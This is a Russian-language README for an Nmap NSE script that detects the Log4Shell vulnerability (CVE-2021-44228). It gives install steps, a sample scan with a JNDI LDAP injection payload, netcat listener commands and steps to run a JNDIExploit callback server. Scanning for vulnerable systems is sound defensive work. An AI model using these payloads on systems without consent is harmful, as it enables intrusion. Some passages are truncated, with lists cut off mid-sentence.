
Nmap Log4Shell NSE скрипт для обнаружения Apache Log4j RCE (CVE-2021-44228)
nmap-log4shell — это NSE-скрипт для обнаружения уязвимости Apache Log4j RCE (CVE-2021-44228) в сети. Скрипт способен внедрять полезную нагрузку эксплойта log4shell через HTTP-заголовки (по умолчанию) или через TCP/UDP-сокет.
CVE-2021-44228 — это уязвимость удалённого выполнения кода (RCE) в Apache Log4j 2. Неаутентифицированный удалённый злоумышленник может использовать эту уязвимость, отправив специально сформированный запрос на сервер, работающий с уязвимой версией log4j. Сформированный запрос использует инъекцию через Java Naming and Directory Interface (JNDI) через различные службы, включая:
Если уязвимый сервер использует log4j для записи запросов, то эксплойт запросит вредоносную полезную нагрузку через JNDI, используя одну из указанных выше служб, с сервера, контролируемого злоумышленником. Успешная эксплуатация может привести к RCE.
Найдите, где на вашей системе находятся скрипты nmap:
~/.nmap/scripts/ или $NMAPDIR/usr/local/Cellar/nmap/<version>/share/nmap/scripts/C:\Program Files (x86)\Nmap\scriptsСкопируйте предоставленный скрипт (log4shell.nse) в этот каталог и выполните nmap --script-updatedb для обновления базы данных скриптов nmap.
nmap --script log4shell.nse --script-args log4shell.callback-server=172.17.42.1:1389 -p 8080 172.17.42.2
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-13 21:26 CET
Nmap scan report for 172.17.42.1
Host is up (0.000096s latency).
PORT STATE SERVICE
8080/tcp open http-proxy
| log4shell:
| Payloads:
| ${jndi:ldap:/172.17.42.1:389/log4shell}
| Test Method: HTTP
| URL Path: /
| HTTP Method: GET
| HTTP Headers:
| Access-Control-Request-Method: 200
| Accept: 200
| Access-Control-Request-Headers: 200
| Accept-Charset: 200
| X-Api-Version: 200
| Warning: 200
| Pragma: 200
| Upgrade-Insecure-Requests: 200
| Range,: 400
| Hostname: 200
| Content-Length: 400
| Dnt: 200
| Date: 200
| Username: 200
| Content-Encoding: 200
| Content-Type: 200
| Forwarded: 200
| Max-Forwards: 200
| Accept-Encoding: 200
| Referer: 200
| IP: 200
| IPaddress: 200
| X-Amz-Date: 200
| X-Amz-Target: 200
| TE: 200
| Content-Disposition: 200
| X-Requested-With: 200
| upgrade-insecure-requests: 200
| Authorization: 200
| Cookie: 200
| User-Agent: 200
| Accept-Language: 200
| Proxy-Authorization: 200
| Expect: 417
| From: 200
| Accept-Datetime: 200
| X-CSRF-Token: 200
| Origin: 200
|_ Note: (!) Inspect the callback server (172.17.42.1:389) or web-application (172.17.42.2:8080) logs
log4shell.callback-server: Сервер обратного вызова (например, 172.17.42.1:1389)log4shell.http-headers: Список HTTP-заголовков, разделённых запятыми (например, X-Api-Version,User-Agent,Referer)log4shell.http-method: HTTP-метод (по умолчанию: GET)log4shell.url-path: Путь URL (по умолчанию: /)log4shell.waf-bypass: Использовать полезные нагрузки для обхода WAF (по умолчанию: false)log4shell.test-method: Тестировать через http (по умолчанию), tcp, или Скрипт полагается на обратные вызовы от сканируемой цели, поэтому любые правила брандмауэра или взаимодействие с другими средствами безопасности повлияют на эффективность скрипта.
Прослушивание TCP-порта с помощью netcat (или ncat):
ncat -vkl 1389 # Ncat
nc -lvnp 1389 # Netcat
Запустите Nmap со скриптом --script log4shell.nse
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
Посмотрите IP-адрес цели в выводе netcat (или ncat):
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:38898.
Скачайте JNDIExploit с GitHub (https://github.com/giterlizzi/JNDIExploit/releases/download/v1.2/JNDIExploit.zip)
Запустите сервер JNDIExploit:
java -jar JNDIExploit.jar
Запустите Nmap со скриптом --script log4shell.nse
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
Посмотрите вывод JNDIExploit, чтобы увидеть полученный LDAP-запрос
[+] Received LDAP Query: log4shell
[!] Invalid LDAP Query: log4shell
Этот проект создан исключительно для образовательных и этических целей тестирования. Использование nmap-log4shell для атак на цели без предварительного взаимного согласия незаконно. Конечный пользователь несёт ответственность за соблюдение всех применимых местных, государственных и федеральных законов. Разработчики не несут ответственности и не отвечают за любое неправильное использование или ущерб, причинённый этой программой.
Проект лицензирован в соответствии с лицензией MIT.
udpall